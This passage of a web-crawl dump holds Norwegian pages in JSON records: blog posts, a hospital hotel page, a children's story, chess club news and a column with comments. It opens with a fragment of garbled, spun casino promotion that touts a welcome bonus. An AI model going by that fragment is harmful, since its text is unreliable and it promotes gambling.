faktisk spinne helt til de fyller opp brettet\\!. Rizk er s\u00e5pass sikre p\u00e5 at s\u00e5 snart du f\u00e5r sjansen til \u00e5 pr\u00f8ve casinoet deres s\u00e5 vil du bli en stund. Vi m\u00e5 \u00e6rlig innr\u00f8mme at vi ikke har sett filmen, h\u00e5per at det ringer en bjelle for deg, hvis du har\\!. T\u00f8r du \u00e5 finne ut hva som skjuler seg i den m\u00f8rke lagunen?. Hver gang det kommer p\u00e5 brettet, kommer monsteret sv\u00f8mmende, og du skyter den rett i kroppen med en harpun. En annen grunn til \u00e5 bli, dersom du er et nytt medlem, er selvf\u00f8lgelig den gavmilde velkomstbonusen, som gir ekstra penger p\u00e5 hvert av de f\u00f8rste fem innskuddene dine. Men vi kan i hvert fall love at den pene damen uansett blir reddet hver eneste gang\\!.\n\n## Kong casino norsk tipping\\!\n\nFair Play er dermed sikret i tilfelle alle tilbys spill p\u00e5 Mr. Fremfor alt, slots spillere og Blackjack fans finne pengene deres er verdt p\u00e5 Mr. Dette gir en maksimal innsats hvis du satser fullt p\u00e5 alle, s\u00e5 blir dette 100 per omgang. Spillerne har mer enn 200 kasinospill tilgjengelig fra rulett til Bingo, Videopoker til Blackjack opp til spilleautomater. Frankenstein sine pengepremier er gode nok til \u00e5 engasjere det fleste.\n\n## Videoslots bonus code 2017\n\nHvis de spilleautomater p\u00e5 danskeb\u00e5ten spilleautomat Irish Gold holder seg slik p\u00e5 hver ridetur s\u00e5 er jo dette helt topp\\!. En litt urolig men veldig spent Casino ble p\u00e5salet, og vi satt nesa f\u00f8rst nedover **spilleautomater p\u00e5 danskeb\u00e5ten** mot rimi, for s\u00e5 \u00e5 svinge oppover songebakken og inn i skogen. To av rideturene den yatzy spill siste tiden. FB. Han er overf\u00f8lsom n\u00e5r det gjelder mugg og s\u00e5r.\n\n\u00a0\n\nAv redakt\u00f8r Morten St\u00f8vre\n\n", "language": "no", "__index_level_0__": "bb23df12-0501-43b5-bbce-8170ad790752"}
{"url": "https://oslo-universitetssykehus.no/steder/gaustad-sykehus/gaustad-sykehus-bygg-1", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:38:20Z", "text": "# Hotell \n\n#### **\u200bHotell p\u00e5 Gaustad sykehus**\n\nGaustad hotell er et tilbud\u00a0for pasienter og deres p\u00e5r\u00f8rende. Tilbudet er beregnet p\u00e5 pasienter som er selvhjulpne og som er til poliklinisk- og/eller dagbehandling ved Gaustad sykehus\u00a0eller Rikshospitalet.\n\n**Bestilling**  \nDet er behandlende lege ved Gaustad sykehus eller Rikshospitalet som avgj\u00f8r hvilke pasienter som f\u00e5r rekvisisjon for \u00e5 bo p\u00e5 hotellene. Ledsagere til pasienter og andre gjester kan ogs\u00e5 bo p\u00e5 hotellet, s\u00e5 fremt det er ledig kapasitet.\n\nVed ledig kapasitet kan alle som \u00f8nsker det leie rom eller bes\u00f8ke restauranten i hotellet. Det er ogs\u00e5 mulig \u00e5 leie m\u00f8telokaler.\n\n**Om hotellet**  \nHotellet p\u00e5 Gaustad har 124 rom , enkle og doble, samt connectingrom og handicaprom. Alle rommene har bad med dusj, WC og h\u00e5rf\u00f8ner, kj\u00f8leskap, internett og TV.\n\nDet er heis, d\u00f8gn\u00e5pen resepsjon, bagasjerom, m\u00f8terom\u00a0 og restaurant med alle rettigheter. Parkeringshus i tilknytning til Rikshospitalet.\n\n**Restaurantens \u00e5pningstider:**  \nMiddag 16.30 -18.30\n\n", "language": "no", "__index_level_0__": "a6c9c5a7-0a62-4bd1-92bd-20b24bc0cde9"}
{"url": "https://synnovedyhring.blogspot.com/2014/05/til-konfirmanten.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:14:56Z", "text": " \n\n## onsdag 21. mai 2014\n\n### TIL KONFIRMANTEN\n\nP\u00e5 dette konfirmantkortet har jeg kost meg med ark fra Papir Design ,\n\n\u00a0sammen med Bazzil som er t\u00f8rrembosset .\u00a0\n\nDies e fra T.Holtz og enkel stjerne-dies har jeg glemt hvor er fra.\n\nPunch fra M.Stewart\n\nPynta \u00a0med b\u00e5nd , button , charms og perler fra K\\&G.\n\nStempel fra K\\&G\n\n  \n.jpg)\n\n  \n.jpg)\n\n  \nStempel fra K\\&G som er malt med aqvarelle maling Lukas\n\n  \nChallenge 4 Everybody \u00a0 \u00a0anything goes\n\n  \nTakk for at du titter innom hos meg , klem Synn\u00f8ve\n\n19:05           \n\n#### 12 kommentarer:\n\n1.  \n    \n    Heidi21. mai 2014 kl. 19:35\n    \n    Lekkert kort\\!  \n    Stilige detaljer:)  \n    Klem, Heidi:)\n    \n2.  \n    \n    Heidi21. mai 2014 kl. 19:46\n    \n    Og takk for at du deltar p\u00e5 utfordringen hos My Besties Norge  \n    Klem, Heidi  \n    \n3.  \n    \n    Unni A21. mai 2014 kl. 22:22\n    \n    Kjempestilig konfirmasjonskort\\!  \n    klem Unni\n    \n4.  \n    \n    Bente \u00c5rstad22. mai 2014 kl. 07:46\n    \n    Knallstilig kort til konfirmanten, Klem Bente:)\n    \n5.  \n    \n    Rita22. mai 2014 kl. 10:34\n    \n    Kjempe flott kort :) Stilig med t\u00f8rr embossingen :) Fin dag videre :) Klem Rita\n    \n6.  \n    \n    Jorunn, enda en scrappedame22. mai 2014 kl. 10:49\n    \n    S\u00e5 stilig kort\\! Friske farger og s\u00e5 fint med t\u00f8rrembossing :)  \n    Klem, Jorunn\n    \n7.  \n    \n    Anne-Eddie22. mai 2014 kl. 20:44\n    \n    Lekkert kort og jeg liker fargeleggingen din utrolig godt\\!  \n    Klem fra Anne-Eddie ;)\n    \n8.  \n    \n    Connie23. mai 2014 kl. 06:35\n    \n    S\u00e5 stilig :)  \n    Klem Connie\n    \n9.  \n    \n    Tuppenshobbyblogg23. mai 2014 kl. 08:12\n    \n    S\u00e5 flott konfirmasjonskort.  \n    S\u00e5 h\u00e6rlige friske farger og t\u00f8fft fargelagt motiv.  \n      \n    Klem fra Kjersti\n    \n10. \n    \n    Sissel23. mai 2014 kl. 13:37\n    \n    T\u00f8fft guttekort\\! Veldig flott motiv og s\u00e5 fint malt\\! :)  \n    Klem\n    \n11. \n    \n    Lill Anita24. mai 2014 kl. 20:11\n    \n    Flott kort med flotte detaljer og flott oppsett :)  \n    Klem :)\n    \n12. \n    \n    Frk. Bogstad29. mai 2014 kl. 17:49\n    \n    Stiligt kort :)\n    \n## stolt og glad\n\n## jippi 2017\n\n  \nPL tur til R\u00f8ysaneset\n\n    \n\n## stolt og glad\n\n  \ns\u00e5 g\u00f8y \u00e5 utforske\n\n    \n\n## stolt og glad\n\n  \nyou\\`re a great friend\n\n## jippi 2017\n\nhappy birthday , 20 februar\n\n", "language": "no", "__index_level_0__": "8be02826-e5b0-4784-ba07-822b0e3b146b"}
{"url": "http://rattogsanselig.blogspot.com/2013/11/det-jules.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00510.warc.gz", "warc_date": "2018-03-24T23:12:35Z", "text": "R\u00e5tt\\&Sanselig er en stor interi\u00f8r- og klesbutikk som ble etablert 7.mai 2004. Vi holder til i usedvanlig hyggelige lokaler midt p\u00e5 Larviks torg. P\u00e5 denne bloggen vil du bli oppdatert p\u00e5 innkj\u00f8p, spennende nyheter og f\u00e5 masser av ideer.\n\n## onsdag 13. november 2013\n\n### Det jules...\n\n...i Stavern ogs\u00e5\\! :-D I l\u00f8pet av morgendagen skal alt v\u00e6re p\u00e5 plass. Vi gleder oss til \u00e5 vise frem en god miks av kl\u00e6r og interi\u00f8r, og st\u00e5r klar med gl\u00f8ggen fra klokka 19. Ho ho ho, og velkommen\\!\\!\\!\n\n  \n\n\n\n\n", "language": "no", "__index_level_0__": "4040c415-57db-44a6-886e-14c67be83666"}
{"url": "http://rattogsanselig.blogspot.com/2012/10/htskupp-pa-gummistvler.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:25:28Z", "text": "R\u00e5tt\\&Sanselig er en stor interi\u00f8r- og klesbutikk som ble etablert 7.mai 2004. Vi holder til i usedvanlig hyggelige lokaler midt p\u00e5 Larviks torg. P\u00e5 denne bloggen vil du bli oppdatert p\u00e5 innkj\u00f8p, spennende nyheter og f\u00e5 masser av ideer.\n\n## fredag 5. oktober 2012\n\n### H\u00f8tskupp p\u00e5 gummist\u00f8vler\n\nI morgen, l\u00f8rdag, har vi 50% p\u00e5 gummist\u00f8vler\\! Moovboot er en popul\u00e6r og god hel\u00e5rsst\u00f8vel med\u00a0myk ullfleece-sokk som er avtagbar. Fin \u00e5 se p\u00e5 er den og\\!\\!\\! :o)\u00a0L\u00f8rdagstilbud: 699,-  \n  \n\n\n\n02:02           \n\n \n", "language": "no", "__index_level_0__": "58ca916e-a7a2-47b6-afac-aa50e43869c8"}
{"url": "http://solveigma.blogspot.com/2015/12/kapittel-9-livet-uten-mening-skulle.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:05:54Z", "text": " \n\n## onsdag 9. desember 2015\n\n## Kapittel 9 - Fortapt\n\n### Livet uten mening\n\n  \nSkulle \u00f8nske jeg hadde en s\u00f8ster. En som opplevde dette sammen med meg. Jeg f\u00f8lte meg s\u00e5 alene, selv om jeg viste veldig godt at Olympia og Minnie og Karina pr\u00f8vde s\u00e5 godt de kunne og finne meg og hjelpe meg. Men jeg hadde ingen ordentlige\u00a0slektninger,\u00a0unntatt\u00a0den slemme pappaen min, som har pr\u00f8vd og tatt livet av meg. Jeg hadde v\u00e6rt d\u00f8d n\u00e5, hvis ikke de hadde v\u00e6rt der for meg. Kanskje Olympia kunne adoptere meg og Minnie? Jeg har ikke tenkt \u00e5 sp\u00f8rre alts\u00e5. Det hadde virket litt rart.\n\n  \nOlympia og Karina var p\u00e5 vei over veien da en sterk h\u00e5nd dro dem tilbake. \"N\u00f8yaktig 20 timer igjen.\" sa Achzib og pekte p\u00e5 klokken. Hun skulte usikker og redd bort p\u00e5 ham, men sa ingenting. S\u00e5 rev hun seg vekk og l\u00f8p av g\u00e5rde med Karina hakk i h\u00e6l.\u00a0  \nHvordan skulle de f\u00e5 tak i s\u00e5 mange penger uten og si i fra til politiet, s\u00e5nn at de ikke drepte Aley? Alt var bare kaos.\u00a0  \n  \n F\u00f8r eller siden, kommer menneskene til og m\u00e5tte flykte fra solsystemet, fordi m\u00e5nen reiser fra oss. Eller fordi sola slukker. Alle vet at det er millioner av \u00e5r til, men i denne\u00a0situasjonen, hadde det ikke gjort noe om det skjedde med en gang. Bare mamma hadde v\u00e6rt her. Da hadde ikke noe av dette skjedd. Jeg var fortapt. Ingenting kunne redde meg n\u00e5.  \n  \n \"Aley\\! Aley\\! Hvor er du hen?\" ropte Minnie fortvilet. Hun gr\u00e5t. S\u00e5 liten som hun var, hadde hun r\u00f8mt vekk for \u00e5 finne et menneske hun var s\u00e5 glad i. \"V\u00e6r s\u00e5 snill\\!\" gr\u00e5t hun. \"V\u00e6r s\u00e5 snill.\" gjentok hun og satte seg ned. Det var like f\u00f8r hun ga opp. \"Kj\u00e6re Aley\\! Kan du ikke bare svare?\" tenkte hun inni seg. Hun lente hodet inn til veggen ved siden av s\u00f8ppelkassene. Plutselig h\u00f8rte hun skritt. \"Men, hei\\! Hva gj\u00f8r du her?\" sa en vennlig damestemme. Minnie s\u00e5 livredd opp p\u00e5 henne og vurderte om hun skulle stole p\u00e5 henne. Hun hadde sluttet \u00e5 gr\u00e5te. \"Hvem er du?\"\u00a0\u00a0  \n  \n  \n### Hvem er denne damen?\n\n  \n Lagt inn av  \nSolveig Marie  kl. \n\n10:16           \n\n", "language": "no", "__index_level_0__": "a35693fd-522f-427f-b9ba-8015b4a4c478"}
{"url": "https://etdrysskanel.com/2016/01/24/la-lumiere/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:29:31Z", "text": "# Et dryss kanel\n\n## A Sprinkle of Cinnamon\n\n\n\n# La lumi\u00e8re\n\nPostet den 24. januar 2016 av Synne Cinnamon\n\nI forrige uke var det lysfestival i London\\! Hele byen var full av dekorasjoner og kunstinstallasjoner som lyste opp i vinterm\u00f8rket. Festivalen Lumiere virker \u00e5 v\u00e6re et ganske nytt tiltak, men mange kunstnere og kulturinstitusjoner deltok i ulike bydeler, og store mengder tilskuere tok turen ut i den friske kveldslufta.\n\nJonasflotte og jeg fikk med oss mye fint i omr\u00e5det rundt King's Cross, litt nord i sentrum.\n\nDette sv\u00e6re fugleburet kunne man g\u00e5 inn i, og det skiftet farge med jevne mellomrom.\n\n  \n\n\nHer var det dansende lys p\u00e5 en vegg.\n\nVi hadde et kart som ledet oss fram til de skinnende severdighetene.\n\nP\u00e5 et stort torg var det filmvisning, og ei hel boligblokk ble brukt som lerret\\!\n\n  \n\n\nLangs elva sto denne installasjonen og speilet seg i vannet.\n\nP\u00e5 dette tidspunktet var det faktisk noe som minnet om vinter her, for temperaturen var rundt frysepunktet, s\u00e5 jeg fikk en anledning til \u00e5 kle p\u00e5 meg ordentlig. Lue og stort smil \u2013 og blitz, hoho\\! Ubarmhjertig og retro\\!\n\nNoen steder var det live musikk, som i denne igloen, og boder solgte snacks og varme drikker.\n\n  \n\n\nNakne tr\u00e6r var ogs\u00e5 opplyst, og det er jo stilig i seg selv.\n\nEnkelte installasjoner var innend\u00f8rs, som denne, hvor tusenvis av flasker var fylt med vann og deretter lyssatt. Morsomt\\!\n\n  \n\n\nEn m\u00f8rk park var prydet av en figur i luftig svev fra stupebrett.\n\nDenne kjolen sto bak glass, s\u00e5 det var vanskelig \u00e5 f\u00e5 sett n\u00f8ye p\u00e5 den, men den var selvf\u00f8lgelig en av favorittene mine\\!\n\nEtter noen timer med titting og trengsel, gikk vi tilbake mot utgangpunktet\u2026\n\n\u2026og tok en velfortjent pint p\u00e5 en pub. Det eneste riktige.\n\nEn lystig (\u00f8h\u00f8) og vellykket torsdagskveld\\!\n\n\u2013 \u2013 \u2013 \u2013 \u2013  \n*In other words: Last week saw the Lumiere Festival here in London\\! There were lots of lovely decorations and artful installations which brightened up the winter nights. Also, there were soooo many people out to see them\\! My boyfriend and I enjoyed walking around, guided by a map, and taking in the atmosphere. At this point it was fairly cold here \u2013 around freezing temperature \u2013 so we bundled up. As you can see from the photo of me (with flash, haha\\! so merciless, so retro\\!) I wore a hat and a big smile. After a few hours of strolling around, seeing the sights and battling the crowds, we had a well-deserved pint. It was a brilliant (obviously) evening\\!*\n\n## 12 tanker p\u00e5 \"La lumi\u00e8re\"\n\n1.   Koselig sier:\n    \n    24\\. januar 2016, kl. 19:25\n    \n    Nydelig\\! Dette var jo bare utrolig stilig og et flott tiltak. Skulle \u00f8nske det var litt mer s\u00e5nn her hjemme ogs\u00e5. Her i Sandefjord diskuterer de vilt om store bokstaver : Tenk stort \\! og en eller annen plastgaffel som skal plasseres i en park. Jeg har meldt meg ut for lenge siden. Jeg liker slike ting som du presenterer i innlegget her mye bedre. Det hadde v\u00e6rt mye mer samlende og g\u00f8yalt hvis kommunen og kunstneriske krefter hadde funnet p\u00e5 noe s\u00e5nt her i stedet for\\! :)  \n    Takk for et fint innlegg og fine bilder :)\n    \n      -  Synne sier:\n        \n        26\\. januar 2016, kl. 19:26\n        \n        Ja, jeg savner ogs\u00e5 lignende ting p\u00e5 mindre steder i Norge\u2026 I Oslo har man jo blant annet Elvelangs og Kulturnatt, som begge er i slekt med dette arrangementet, men i andre og mindre byer er det ofte langt mellom tiltakene. Krysser fingrene for at det blir mer kulturell desentralisering med \u00e5rene, hoho. Sandefjord er for \u00f8vrig et veldig hyggelig sted, synes jeg\\! Selv takk, ha ei fortsatt fin uke\\!\n        \n2.   nocturnalmistakes sier:\n    \n    25\\. januar 2016, kl. 02:58\n    \n    S\u00e5 stilig\\! Lysfestivaler er s\u00e5 fantastisk, det er utrolig for no' rare greier de finner p\u00e5\\! Her i Nederland, n\u00e6rmere bestemt Eindhoven, er det en lysfestival hvert \u00e5r kalt Glow. Ser ut som om det er litt samme konsept, de finner p\u00e5 mye rart og spennende :)\n    \n      -  Synne sier:\n        \n        26\\. januar 2016, kl. 19:27\n        \n        Ja, det er s\u00e5 mye man kan gj\u00f8re med lys\\! S\u00e5 kult, det h\u00f8res bra ut. Husker et lignende arrangement fra Paris, ogs\u00e5 \u2013 kanskje dette er en litt s\u00e5nn kontinental greie\\!\n        \n3.   Kristine sier:\n    \n    25\\. januar 2016, kl. 15:23\n    \n    \u00c5\u00e5\u00e5, London alts\u00e5\\! Blir misunnelig, men ogs\u00e5 glad fordi dere er s\u00e5 flinke til \u00e5 utnytte tiden dere bor der p\u00e5 slike g\u00f8ye ting :)\n    \n      -  Synne sier:\n        \n        26\\. januar 2016, kl. 19:29\n        \n        Takk, Kristine\\! Vi pr\u00f8ver \u00e5 f\u00e5 mest mulig ut av \u00e5ret, hihi\\!\n        \n4.   Marie sier:\n    \n    25\\. januar 2016, kl. 16:00\n    \n    Har v\u00e6rt s\u00e5 ute av bloggsonen for tiden at jeg ikke har f\u00e5tt med meg at du bor i London n\u00e5. Eeek\\! Velkommen til the UK :D\n    \n      -  Marie sier:\n        \n        25\\. januar 2016, kl. 16:01\n        \n        \u00c6sj, ble kommentert med feil bruker til feil blogg (studentblogg for universitetet mitt, aha).\n        \n          -  Synne sier:\n            \n            26\\. januar 2016, kl. 19:31\n            \n            S\u00e5nt som skjer, s\u00f8te\\!\n            \n      -  Synne sier:\n        \n        26\\. januar 2016, kl. 19:29\n        \n        Hihi, det gj\u00f8r jo ikke noe \u2013 tusen takk\\! Jeg er s\u00e5 glad for \u00e5 v\u00e6re her\\!\n        \n5.   bruno sier:\n    \n    26\\. januar 2016, kl. 22:03\n    \n    Jeg vet ikke helt hvordan, men det synes jeg er ganske forn\u00f8yd meg med disse lys og bilder du gir fra din dra p\u00e5 London. ja jeg selv funnet ganske mye estetisk til bygninger, (begynner med St Pancras) og de andre \u2026 faktisk, en liten vitende SMIL, MED paris (\u00absolvinden\u00bb av Laurent Grasso \u00abFlott effekt solar utbrudd, p\u00e5 \u00e5 bygge rundt, sett fra \u00abring\u00bb)., og ogs\u00e5 is oslo siste januar lysspilet \u2026 gr\u00f8nt lys kjole og glass \u00f8l, er av det gode ogs\u00e5 \u2026\n    \n      -  Synne sier:\n        \n        27\\. januar 2016, kl. 15:42\n        \n        Ja, det er mange flotte bygninger i London \u2013 og i Paris\\! Dette arrangementet minnet meg litt om Nuit Blanche, bare at denne festivalen p\u00e5gikk i fire dager.\n        \n\n\n# Bonjour\\!\n\nJeg heter Synne. Jeg er en glad geek som liker eventyr, vin, vintage, katter og hverdagsmagi. Jeg vil helst reise hele tida, men heldigvis er de sm\u00e5 gledene \u00e5 oppdrive overalt, og som frilanser kan jeg jobbe hvor jeg vil\\! For \u00f8yeblikket bor jeg i Oslo.  \n\u2013 \u2013 \u2013 \u2013 \u2013  \nMy name is Synne. I'm a Norwegian geek who likes adventures, wine, vintage, cats and everyday magic. I'd love to travel all the time, but luckily the little joys in life are everywhere, and as a freelancer I can work from wherever\\! These days I live in Oslo.\n\n", "language": "no", "__index_level_0__": "4c141c0e-4aa6-471b-8729-8ffa3ca9c81e"}
{"url": "http://docplayer.dk/25961071-Velkommen-til-regionsmoede-3-september-2016-region-hovedstaden.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-25T00:27:54Z", "text": " Referat af hovedbestyrelsesm\u00f8de i Diabetesforeningen Tid: Fredag den 19. maj 2017, kl. 16.00-20.00 Sted: Odeon Konferencecenter, Odeons Kvarter 1, 5000 Odense C Tilstede: Truels Schultz, Torben Wied, J\u00f8rgen\n\n", "language": "no", "__index_level_0__": "831a0a04-56d9-436a-a8df-1b1406f851c2"}
{"url": "http://www.sk1911.no/?p=3908", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:36:10Z", "text": "Publisert februar 27, 2018 av Geir\n\n# Mer enn halvveis i KM 2018\n\n\n\nFull runde i KM 2018 mandag 26/2, der ledende Sigurd L Gr\u00f8ver i Gruppe A gikk p\u00e5 sitt f\u00f8rste tap, mot Sven Erik Rognes i et komplisert parti med muligheter for begge parter (se partiet sist i spalten). GM Frode Urkedal benyttet sjansen til \u00e5 innta teten med 4 seire og ett hengeparti. Heller ikke Johannes Kvisla p\u00e5 2. plass har avgitt poeng, men har flere hengepartier. I Gruppe B avga Even E Y Hem sitt f\u00f8rste halvpoeng til Geir Nesheim, og J\u00f8rgen Tveraabak gikk dermed opp i ryggen p\u00e5 Hem med seier i det viktige oppgj\u00f8ret mot Sven O Rosnes.\n\nFra 1911-eres turnneringsdeltagelse siste uke nevner vi:  \nKrager\u00f8 Resort Chess 21. \u2013 25. februar (52 deltakere i gruppe A)  \n21 Eivind O. Risting\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 5,0 av 9  \n30 Noam A. Vitenberg\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 4,5  \n38 Aleksander Lindb\u00f8l\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 3,5  \nCannes Open 19. \u2013 25. februar (82 deltakere)  \n6 Torbj\u00f8rn R. Hansen\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 6,5 av 9  \n72 Victor Hansen\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 2,5  \nAllsvenskan Elite Stockholm 24. februar  \nFarsta\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0Rockaden  \nFrode Urkedal \u2013 Erik Blomqvist\u00a0 \u00bd \u2013 \u00bd\n\nKommende helg avsluttes seriespillet 2017/18. SK 1911 ligger p\u00e5 en sterk 2. plass i Eliteserien, og m\u00f8ter V\u00e5lerenga i et n\u00f8kkeloppgj\u00f8r fredag 3/3. Vi m\u00f8ter ogs\u00e5 Akademisk og OSS ila helgen. 2. laget kjemper for \u00e5 beholde plassen i \u00d8stlandsseriens 1. divisjon, og m\u00f8ter SOSS 1 og OSS 2 i n\u00f8kkeloppgj\u00f8rene l\u00f8rdag og s\u00f8ndag. Vi \u00f8nsker lykke til til alle SK 1911-lag til helgen\\!\n\nMandag 5/3 viser GM Frode Urkedal et eller flere partier fra \u00e5rets eliteserie. Derette blir det klassisk 5 minutters lynsjakkturnering (L/H). Vi pr\u00f8ver ogs\u00e5 \u00e5 f\u00e5 avviklet f\u00f8lgende utsatte partier 5/3:  \nGruppe A:  \nJohannes L Kvisla- Raymond Boger  \nRay- Noam A Vitenberg  \nGruppe B:  \nHelge Fjellestad-Andreas Tenold  \nMarius Stub- Geir Jensen  \n\u00d8ystein Madsen-Elma Selvik  \n\u00d8vrige utsatte partier spilles senere eller privat.\n\nS\u00e5 minner vi om Generalforsamlingen mandag 12/3 kl 19:11, med p\u00e5f\u00f8lgende generalforsamlingslyn\\!\n\nGjestespiller Sigurd L Gr\u00f8ver l\u00e5 lenge godt an til \u00e5 ta sin 5. strake seier i partiet mot Sven Erik Rognes i runde 5 i Gruppe A i KM 2018 \u2013 men s\u00e5 var det dette med tidsn\u00f8den:\n\n", "language": "no", "__index_level_0__": "167274a7-e45e-4740-8b34-7341eb6882ad"}
{"url": "http://tirsdagmorgen.no/tm/tirsdag/tid-er-liv/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:21:59Z", "text": "# Da tiden skj\u00f8t fart\n\n\n\nNi\u00e5ringen f\u00e5r et ultimatum.\n\n**\u00abDu har fem minutter til \u00e5 gj\u00f8re deg klar hvis vi skal lese i kveld.\u00bb**\n\nDet virker. Etter n\u00f8yaktig fire minutter og 32 sekunder er kveldstellet unnagjort, og hun er under dyna. Stresset, men forn\u00f8yd.\n\nHun har vunnet over tiden.\n\nJeg setter meg p\u00e5 sengekanten og blar opp i den spennende boken vi leser.\n\n**\u00abMomo \u2013 eller kampen om tiden\u00bb.  \n**  \nJeg leser.\n\nS\u00e5 langt g\u00e5r ironien meg hus forbi.\n\nMange barneb\u00f8ker har mye livsvisdom som med fordel kan anvendes av voksne. Boken om Momo handler om de absurde forestillingene om at hvis vi bare sparer tid \u2013 vel s\u00e5 f\u00e5r vi mer tid.\n\nDe gr\u00e5 herrene har infiltrert byen. De er agenter fra Tidssparekassen og overbeviser folk om \u00e5 opprette konto. Jo mer tid de sparer, jo mer vil st\u00e5 p\u00e5 renteb\u00e6rende konto i sparekassen.\n\nDet hele er et komplott satt i scene for \u00e5 stjele tiden. Momos oppdrag blir \u00e5 ta tiden tilbake.\n\nHvordan hun l\u00f8ser det har vi ikke tid til \u00e5 finne ut. For n\u00e5 ringer klokken at tiden er ute. Barn skal sove. Voksne skal jobbe.\n\n**Michael Ende tok samfunnsutviklingen p\u00e5 kornet i boken om Momo.  \n**  \nDen kom ut i 1973. Det var omtrent da tiden virkelig skj\u00f8t fart.\n\nVi ble veldig rasjonelle og effektive. I dag er til og med Tidssparekassen blitt en realitet. Den b\u00e6rer navnet \u00abNAV\u00bb. Det er riktignok forel\u00f8pig bare en pilotgruppe av sm\u00e5barnsforeldre som f\u00e5r opprette konto der. \u00abTidskonto\u00bb kaller de det.\n\n**Vi lever det vi setter ord p\u00e5.**\n\n\u00abTid er penger\u00bb, sier vi, og sparer oss til fant.\n\nFor tidskontoer har negativ rente. Jo mer du sparer, jo mindre har du igjen.\n\nSpr\u00e5ket skaper v\u00e5r virkelighet, og her er vi blitt lurt. For tid er slett ikke penger.  \n**  \nTid er liv.**\n\nHar du liten tid har du lite liv. Har du mye tid har du mye liv.\n\nHar du d\u00e5rlig tid har du d\u00e5rlig liv. Har du god tid har du godt liv.\n\nTakk for din tid.\n\nGod tirsdag.\n\nCoach. Skribent. Foredragsholder. @ Leveraas AS\n\nPaal Leveraas er gr\u00fcnder i Leveraas AS, et selskap som jobber med ledere for \u00e5 utvikle trygghet og selvtillit slik at du raskere kan tre inn i rollen som den lederen du \u00f8nsker \u00e5 v\u00e6re, og som dine medarbeidere, kolleger og ledere trenger at du er.\n\n# 10 Kommentarer\n\n1.  \n    \n    Gry  p\u00e5 30. november 2010 hos 08:17 \n    \n    Kj\u00e6re P\u00e5l, takk for en deilig p\u00e5minnelse\u2026 igjen.  \n    9 \u00e5ringen min ble stressa opp av sengen i morges\\! Allez\\! On est deja en retard\\!  \n    Jeg leste bloggen din, tok en kopp te og hadde en deilig prat ved frokostbordet  \n    istedenfor. Det er de sm\u00e5 \u00f8yeblikkene som teller\\!\n    \n    En p\u00e5minnelse om tid og verdi trenger vi spesielt i disse dager, hvor vi l\u00f8per fra juleforestilling, julebord etc for \u00e5 skvise meste mulig \"kos\" inn f\u00f8r jul.  \n    Gratulerer massevis med ny jobb, og med rund dag\\!  \n    Du er en kjekk, sprek, spennende og lekker 50 \u00e5ring du Paal\\!  \n    Ha en fantastisk tirsdag morgen,  \n    Gry\n    \n    http://www.grysinding.com/\n2.  \n    \n    Gry  p\u00e5 30. november 2010 hos 08:18 \n    \n    Kj\u00e6re P\u00e5l, takk for en deilig p\u00e5minnelse\u2026 igjen.  \n    9 \u00e5ringen min ble stressa opp av sengen i morges\\! Allez\\! On est deja en retard\\!  \n    Jeg leste bloggen din, tok en kopp te og hadde en deilig prat ved frokostbordet  \n    istedenfor. Det er de sm\u00e5 \u00f8yeblikkene som teller\\!\n    \n    En p\u00e5minnelse om tid og verdi trenger vi spesielt i disse dager, hvor vi l\u00f8per fra juleforestilling, julebord etc for \u00e5 skvise meste mulig \"kos\" inn f\u00f8r jul.  \n    Gratulerer massevis med ny jobb, og med rund dag\\!  \n    Du er en kjekk, sprek, spennende og lekker 50 \u00e5ring du Paal\\!  \n    Ha en fantastisk tirsdag morgen,  \n    Gry\n    \n3.  \n    \n    Maria  p\u00e5 30. november 2010 hos 08:44 \n    \n    Takk Paal\\!  \n    \"Har du d\u00e5rlig tid har du d\u00e5rlig liv. Har du god tid har du godt liv.\" Den skal jeg ta med meg\\!\n    \n    God tirsdag til deg ogs\u00e5\\!\n    \n4.  \n    \n    Elin Kanck Lorentzen  p\u00e5 30. november 2010 hos 08:57 \n    \n    Hei Paal\\!  \n    Gratulerer med vel overst\u00e5tt bursdag \u2013 og med ny jobb\\! Tusen takk for kloke ord, dagens brev traff meg rett i hjertet. N\u00e5 g\u00e5r jeg ut og tar tiden tilbake\\!\n    \n    God adventstid\\!  \n    Elin Kanck Lorentzen\n    \n5.  \n    \n    Randi Skaug  p\u00e5 30. november 2010 hos 09:26 \n    \n    Tid er herlig. Det gjelder bare \u00e5 v\u00e6re i den tiden man til 